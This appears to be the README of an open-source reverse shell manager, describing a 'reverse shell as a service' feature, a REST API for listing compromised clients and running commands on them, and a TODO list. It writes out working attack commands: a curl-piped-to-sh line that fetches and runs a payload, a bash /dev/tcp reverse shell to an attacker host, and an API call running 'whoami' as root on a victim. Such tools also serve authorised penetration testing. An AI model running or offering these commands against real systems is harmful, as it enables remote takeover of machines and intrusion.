Reverse shell as a Service
// Platypus is able to multiplexing the reverse shell listening port
// The port 8080 can receive reverse shell client connection
// Also these is a Reverse shell as a service running on this port
// victim will be redirected to attacker-host attacker-port
// sh -c "$(curl http://host:port/attacker-host/attacker-port)"
# curl http://192.168.1.2:8080/attacker.com/1337
bash -c 'bash -i >/dev/tcp/attacker.com/1337 0>&1'
# sh -c "$(curl http://192.168.1.2:8080/attacker.com/1337)"
// if the attacker info not specified, it will use host, port as attacker-host attacker-port
// sh -c "$(curl http://host:port/)"
# curl http://192.168.1.2:8080/
curl http://192.168.1.2:8080/192.168.1.2/8080|sh
# sh -c "$(curl http://host:port/)"
RESTful API
GET /client
List all online clients
# curl 'http://127.0.0.1:9090/client'
{
"msg": [
"192.168.1.3:54798"
],
"status": true
}
POST /client/:hash
execute a command on a specific client
# curl -X POST 'http://127.0.0.1:9090/client/0723c3bed0d0240140e10a6ffd36eed4' --data 'cmd=whoami'
{
"status": true,
"msg": "root\n",
}
- How to hash?
# echo -n "192.168.1.3:54798" | md5sum

TODO
- Send a specific command to all clients
- More interfaces in RESTful API
- RESTful API should auth
- Use crontab
- Use HR package to detect the status of client (maybe
echo $random_string
) - Upgrade common reverse shell session into full interactive session
- Provide full kernel API
- Upload file
- Download file
- List file
- Web UI
- User guide
- Benchmark
- Upgrade to Metepreter session
